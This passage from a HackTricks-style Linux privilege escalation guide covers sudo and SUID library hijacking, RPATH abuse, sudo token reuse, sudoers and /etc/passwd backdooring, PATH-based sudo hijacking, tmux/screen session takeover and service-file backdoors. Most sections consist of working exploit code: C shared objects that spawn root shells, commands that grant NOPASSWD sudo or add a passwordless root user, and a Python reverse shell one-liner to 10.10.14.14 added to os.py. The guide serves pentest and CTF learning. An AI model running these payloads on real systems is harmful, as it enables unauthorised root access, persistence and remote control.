1565 system("/bin/bash -p"); 1566 } 1567 ``` 1568 1569 ```bash 1570 # Compile & execute 1571 cd /tmp 1572 gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c 1573 sudo LD_LIBRARY_PATH=/tmp <COMMAND> 1574 ``` 1575 1576 ### SUID Binary – .so injection 1577 1578 When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command:<sup>[[17]](#references)</sup> 1579 1580 ```bash 1581 strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file" 1582 ``` 1583 1584 For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. 1585 1586 To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: 1587 1588 ```c 1589 #include <stdio.h> 1590 #include <stdlib.h> 1591 1592 static void inject() __attribute__((constructor)); 1593 1594 void inject(){ 1595 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); 1596 } 1597 ``` 1598 1599 This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. 1600 1601 Compile the above C file into a shared object (.so) file with: 1602 1603 ```bash 1604 gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c 1605 ``` 1606 1607 Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. 1608 1609 ## Shared Object Hijacking 1610 1611 ```bash 1612 # Lets find a SUID using a non-standard library 1613 ldd some_suid 1614 something.so => /lib/x86_64-linux-gnu/something.so 1615 1616 # The SUID also loads libraries from a custom location where we can write 1617 readelf -d payroll | grep PATH 1618 0x000000000000001d (RUNPATH) Library runpath: [/development] 1619 ``` 1620 1621 Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: 1622 1623 ```c 1624 //gcc src.c -fPIC -shared -o /development/libshared.so 1625 #include <stdio.h> 1626 #include <stdlib.h> 1627 1628 static void hijack() __attribute__((constructor)); 1629 1630 void hijack() { 1631 setresuid(0,0,0); 1632 system("/bin/bash -p"); 1633 } 1634 ``` 1635 1636 If you get an error such as 1637 1638 ```text 1639 ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name 1640 ``` 1641 1642 that means that the library you have generated need to have a function called `a_function_name`. 1643 1644 ### GTFOBins 1645 1646 [**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. 1647 1648 The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. 1649 1650 > gdb -nx -ex '!sh' -ex quit\ 1651 > sudo mysql -e '! /bin/sh'\ 1652 > strace -o /dev/null /bin/sh\ 1653 > sudo awk 'BEGIN {system("/bin/sh")}' 1654 1655 1656 [Gtfobins.Github.Io](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/https%3A/gtfobins.github.io/README.md) 1657 1658 1659 [Gtfoargs.Github.Io](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/https%3A/gtfoargs.github.io/README.md) 1660 1661 ### FallOfSudo 1662 1663 If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. 1664 1665 ### Reusing Sudo Tokens 1666 1667 In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**.<sup>[[18]](#references)</sup> 1668 1669 Requirements to escalate privileges: 1670 1671 - You already have a shell as user "_sampleuser_" 1672 - "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) 1673 - `cat /proc/sys/kernel/yama/ptrace_scope` is 0 1674 - `gdb` is accessible (you can be able to upload it) 1675 1676 (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) 1677 1678 If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) 1679 1680 - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): 1681 1682 ```bash 1683 bash exploit.sh 1684 /tmp/activate_sudo_token 1685 sudo su 1686 ``` 1687 1688 - The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** 1689 1690 ```bash 1691 bash exploit_v2.sh 1692 /tmp/sh -p 1693 ``` 1694 1695 - The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** 1696 1697 ```bash 1698 bash exploit_v3.sh 1699 sudo su 1700 ``` 1701 1702 ### /var/run/sudo/ts/\<Username> 1703 1704 If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ 1705 For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: 1706 1707 ```bash 1708 ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser 1709 ``` 1710 1711 ### /etc/sudoers, /etc/sudoers.d 1712 1713 The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ 1714 **If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. 1715 1716 ```bash 1717 ls -l /etc/sudoers /etc/sudoers.d/ 1718 ls -ld /etc/sudoers.d/ 1719 ``` 1720 1721 If you can write you can abuse this permission 1722 1723 ```bash 1724 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers 1725 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README 1726 ``` 1727 1728 Another way to abuse these permissions: 1729 1730 ```bash 1731 # makes it so every terminal can sudo 1732 echo "Defaults !tty_tickets" > /etc/sudoers.d/win 1733 # makes it so sudo never times out 1734 echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win 1735 ``` 1736 1737 ### DOAS 1738 1739 There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` 1740 1741 ```bash 1742 permit nopass demo as root cmd vim 1743 permit nopass demo as root cmd python3 1744 permit nopass keepenv demo as root cmd /opt/backup.sh 1745 ``` 1746 1747 If `doas` allows an editor or interpreter, check GTFOBins-style escapes: 1748 1749 ```bash 1750 doas vim 1751 :!/bin/sh 1752 ``` 1753 1754 ### Sudo Hijacking 1755 1756 If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. 1757 1758 Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 1759 1760 Or running something like: 1761 1762 ```bash 1763 cat >/tmp/sudo <<EOF 1764 #!/bin/bash 1765 /usr/bin/sudo whoami > /tmp/privesc 1766 /usr/bin/sudo "\$@" 1767 EOF 1768 chmod +x /tmp/sudo 1769 echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other 1770 1771 # From the victim 1772 zsh 1773 echo $PATH 1774 sudo ls 1775 ``` 1776 1777 ## Shared Library 1778 1779 ### ld.so 1780 1781 The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` 1782 1783 That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. 1784 1785 If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ 1786 Take a look at **how to exploit this misconfiguration** in the following page: 1787 1788 1789 [Ld.So.Conf Example](/hacktricks/linux-hardening/interesting-files-permissions/ld-so-conf-example) 1790 1791 ### RPATH 1792 1793 ```text 1794 level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 1795 0x00000001 (NEEDED) Shared library: [libc.so.6] 1796 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] 1797 1798 level15@nebula:/home/flag15$ ldd ./flag15 1799 linux-gate.so.1 => (0x0068c000) 1800 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) 1801 /lib/ld-linux.so.2 (0x005bb000) 1802 ``` 1803 1804 By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. 1805 1806 ```text 1807 level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ 1808 1809 level15@nebula:/home/flag15$ ldd ./flag15 1810 linux-gate.so.1 => (0x005b0000) 1811 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) 1812 /lib/ld-linux.so.2 (0x00737000) 1813 ``` 1814 1815 Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 1816 1817 ```c 1818 #include<stdlib.h> 1819 #define SHELL "/bin/sh" 1820 1821 int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) 1822 { 1823 char *file = SHELL; 1824 char *argv[] = {SHELL,0}; 1825 setresuid(geteuid(),geteuid(), geteuid()); 1826 execve(file,argv,0); 1827 } 1828 ``` 1829 1830 ## Capabilities 1831 1832 Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ 1833 Read the following page to **learn more about capabilities and how to abuse them**: 1834 1835 1836 [Linux Capabilities](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities) 1837 1838 ## Directory permissions 1839 1840 In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ 1841 The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. 1842 1843 ## ACLs 1844 1845 Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).<sup>[[19]](#references)</sup> 1846 1847 **Give** user "kali" read and write permissions over a file: 1848 1849 ```bash 1850 setfacl -m u:kali:rw file.txt 1851 #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) 1852 1853 setfacl -b file.txt #Remove the ACL of the file 1854 ``` 1855 1856 **Get** files with specific ACLs from the system: 1857 1858 ```bash 1859 getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null 1860 ``` 1861 1862 ### Hidden ACL backdoor on sudoers drop-ins 1863 1864 A common misconfiguration is a root-owned file in `/etc/sudoers.d/` with mode `440` that still grants write access to a low-priv user via ACL. 1865 1866 ```bash 1867 ls -l /etc/sudoers.d/* 1868 getfacl /etc/sudoers.d/<file> 1869 ``` 1870 1871 If you see something like `user:alice:rw-`, the user can append a sudo rule despite restrictive mode bits: 1872 1873 ```bash 1874 echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file> 1875 visudo -cf /etc/sudoers.d/<file> 1876 sudo -l 1877 ``` 1878 1879 This is a high-impact ACL persistence/privesc path because it is easy to miss in `ls -l`-only reviews. 1880 1881 ## Open shell sessions 1882 1883 In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ 1884 In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. 1885 1886 ### screen sessions hijacking 1887 1888 **List screen sessions** 1889 1890 ```bash 1891 screen -ls 1892 screen -ls <username>/ # Show another user' screen sessions 1893 1894 # Socket locations (some systems expose one as symlink of the other) 1895 ls /run/screen/ /var/run/screen/ 2>/dev/null 1896 ``` 1897 1898  1899 1900 **Attach to a session** 1901 1902 ```bash 1903 screen -dr <session> #The -d is to detach whoever is attached to it 1904 screen -dr 3350.foo #In the example of the image 1905 screen -x [user]/[session id] 1906 ``` 1907 1908 ## tmux sessions hijacking 1909 1910 This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. 1911 1912 **List tmux sessions** 1913 1914 ```bash 1915 tmux ls 1916 ps aux | grep tmux #Search for tmux consoles not using default folder for sockets 1917 tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess 1918 ``` 1919 1920  1921 1922 **Attach to a session** 1923 1924 ```bash 1925 tmux attach -t myname #If you write something in this session it will appears in the other opened one 1926 tmux attach -d -t myname #First detach the session from the other console and then access it yourself 1927 1928 ls -la /tmp/dev_sess #Check who can access it 1929 rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can 1930 # If you are root or devs you can access it 1931 tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket 1932 ``` 1933 1934 Check **Valentine box from HTB** for an example. 1935 1936 ## SSH 1937 1938 ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 1939 1940 All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ 1941 This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) 1942 1943 ### SSH Interesting configuration values 1944 1945 - **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. 1946 - **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. 1947 - **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. 1948 1949 ### Login control files 1950 1951 These files influence who can log in and how: 1952 1953 - **`/etc/nologin`**: if present, blocks non-root logins and prints its message. 1954 - **`/etc/securetty`**: restricts where root can log in (TTY allowlist). 1955 - **`/etc/motd`**: post-login banner (can leak environment or maintenance details). 1956 1957 ### PermitRootLogin 1958 1959 Specifies whether root can log in using ssh, default is `no`. Possible values: 1960 1961 - `yes`: root can login using password and private key 1962 - `without-password` or `prohibit-password`: root can only login with a private key 1963 - `forced-commands-only`: Root can login only using private key and if the commands options are specified 1964 - `no` : no 1965 1966 ### AuthorizedKeysFile 1967 1968 Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: 1969 1970 ```bash 1971 AuthorizedKeysFile .ssh/authorized_keys access 1972 ``` 1973 1974 That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` 1975 1976 ### ForwardAgent/AllowAgentForwarding 1977 1978 SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. 1979 1980 You need to set this option in `$HOME/.ssh.config` like this: 1981 1982 ```text 1983 Host example.com 1984 ForwardAgent yes 1985 ``` 1986 1987 Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). 1988 1989 The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ 1990 The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). 1991 1992 If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: 1993 1994 1995 [Ssh Forward Agent Exploitation](/hacktricks/linux-hardening/user-information/ssh-forward-agent-exploitation) 1996 1997 ## Interesting Files 1998 1999 ### Profiles files 2000 2001 The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. 2002 2003 ```bash 2004 ls -l /etc/profile /etc/profile.d/ 2005 ``` 2006 2007 If any weird profile script is found you should check it for **sensitive details**. 2008 2009 ### Passwd/Shadow Files 2010 2011 Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: 2012 2013 ```bash 2014 #Passwd equivalent files 2015 cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null 2016 #Shadow equivalent files 2017 cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null 2018 ``` 2019 2020 In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file 2021 2022 ```bash 2023 grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null 2024 ``` 2025 2026 ### Writable /etc/passwd 2027 2028 First, generate a password with one of the following commands. 2029 2030 ```text 2031 openssl passwd -1 -salt hacker hacker 2032 mkpasswd -m SHA-512 hacker 2033 python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' 2034 ``` 2035 2036 Then add the user `hacker` and add the generated password. 2037 2038 ```text 2039 hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash 2040 ``` 2041 2042 E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` 2043 2044 You can now use the `su` command with `hacker:hacker` 2045 2046 Alternatively, you can use the following lines to add a dummy user without a password.\ 2047 WARNING: you might degrade the current security of the machine. 2048 2049 ```text 2050 echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd 2051 su - dummy 2052 ``` 2053 2054 NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. 2055 2056 You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? 2057 2058 ```bash 2059 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody 2060 for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user 2061 ``` 2062 2063 For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: 2064 2065 ```text 2066 ExecStart=/path/to/backdoor 2067 User=root 2068 Group=root 2069 ``` 2070 2071 Your backdoor will be executed the next time that tomcat is started. 2072 2073 ### Check Folders 2074 2075 The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) 2076 2077 ```bash 2078 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root 2079 ``` 2080 2081 ### Weird Location/Owned files 2082 2083 ```bash 2084 #root owned files in /home folders 2085 find /home -user root 2>/dev/null 2086 #Files owned by other users in folders owned by me 2087 for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done 2088 #Files owned by root, readable by me but not world readable 2089 find / -type f -user root ! -perm -o=r 2>/dev/null 2090 #Files owned by me or world writable 2091 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null 2092 #Writable files by each group I belong to 2093 for g in `groups`; 2094 do printf " Group $g:\n"; 2095 find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null 2096 done 2097 done 2098 ``` 2099 2100 ### Modified files in last mins 2101 2102 ```bash 2103 find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null 2104 ``` 2105 2106 ### Sqlite DB files 2107 2108 ```bash 2109 find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null 2110 ``` 2111 2112 ### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files 2113 2114 ```bash 2115 find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null 2116 ``` 2117 2118 ### Hidden files 2119 2120 ```bash 2121 find / -type f -iname ".*" -ls 2>/dev/null 2122 ``` 2123 2124 ### **Script/Binaries in PATH** 2125 2126 ```bash 2127 for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done 2128 for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done 2129 ``` 2130 2131 ### **Web files** 2132 2133 ```bash 2134 ls -alhR /var/www/ 2>/dev/null 2135 ls -alhR /srv/www/htdocs/ 2>/dev/null 2136 ls -alhR /usr/local/www/apache22/data/ 2137 ls -alhR /opt/lampp/htdocs/ 2>/dev/null 2138 ``` 2139 2140 ### **Backups** 2141 2142 ```bash 2143 find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null 2144 ``` 2145 2146 ### Known files containing passwords 2147 2148 Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ 2149 **Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. 2150 2151 ### Logs 2152 2153 If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ 2154 Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).<sup>[[36]](#references)</sup> 2155 2156 ```bash 2157 aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" 2158 grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null 2159 ``` 2160 2161 In order to **read logs the group** [**adm**](../../user-information/interesting-groups-linux-pe/index.html#adm-group) will be really helpful. 2162 2163 ### Shell files 2164 2165 ```bash 2166 ~/.bash_profile # if it exists, read it once when you log in to the shell 2167 ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist 2168 ~/.profile # if it exists, read once if the two above don't exist 2169 /etc/profile # only read if none of the above exists 2170 ~/.bashrc # if it exists, read it every time you start a new shell 2171 ~/.bash_logout # if it exists, read when the login shell exits 2172 ~/.zlogin #zsh shell 2173 ~/.zshrc #zsh shell 2174 ``` 2175 2176 ### Generic Creds Search/Regex 2177 2178 You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ 2179 I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. 2180 2181 ## Writable files 2182 2183 ### Python library hijacking 2184 2185 If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). 2186 2187 To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): 2188 2189 ```python 2190 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); 2191 ``` 2192 2193 ### Logrotate exploitation 2194 2195 A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. 2196 2197 > [!TIP] 2198 > This vulnerability affects `logrotate` version `3.18.0` and older 2199 2200 More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).<sup>[[37]](#references)</sup> 2201 2202 You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). 2203 2204 This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. 2205 2206 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) 2207 2208 **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f).<sup>[[20]](#references)</sup> 2209 2210 If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.<sup>[[20]](#references)</sup> 2211 2212 Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). 2213 2214 In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. 2215 2216 For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ 2217 2218 ```bash 2219 NAME=Network /bin/id 2220 ONBOOT=yes 2221 DEVICE=eth0 2222 ``` 2223 2224 (_Note the blank space between Network and /bin/id_) 2225 2226 ### **init, init.d, systemd, and rc.d** 2227 2228 The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. 2229 2230 On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. 2231 2232 **systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process.<sup>[[21]](#references)</sup> 2233 2234 ## Other Tricks 2235 2236 ### NFS Privilege escalation 2237 2238 2239 [Nfs No Root Squash Misconfiguration Pe](/hacktricks/linux-hardening/interesting-files-permissions/nfs-no-root-squash-misconfiguration-pe) 2240 2241 ### Escaping from restricted Shells 2242 2243 2244 [Escaping From Limited Bash](/hacktricks/linux-hardening/main-system-information/escaping-from-limited-bash) 2245 2246 ### Cisco - vmanage 2247 2248 2249 [Cisco Vmanage](/hacktricks/linux-hardening/network-information/cisco-vmanage) 2250 2251 ## Android rooting frameworks: manager-channel abuse 2252 2253 Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: 2254 2255 2256 [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](/hacktricks/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook) 2257 2258 ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) 2259 2260 Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search 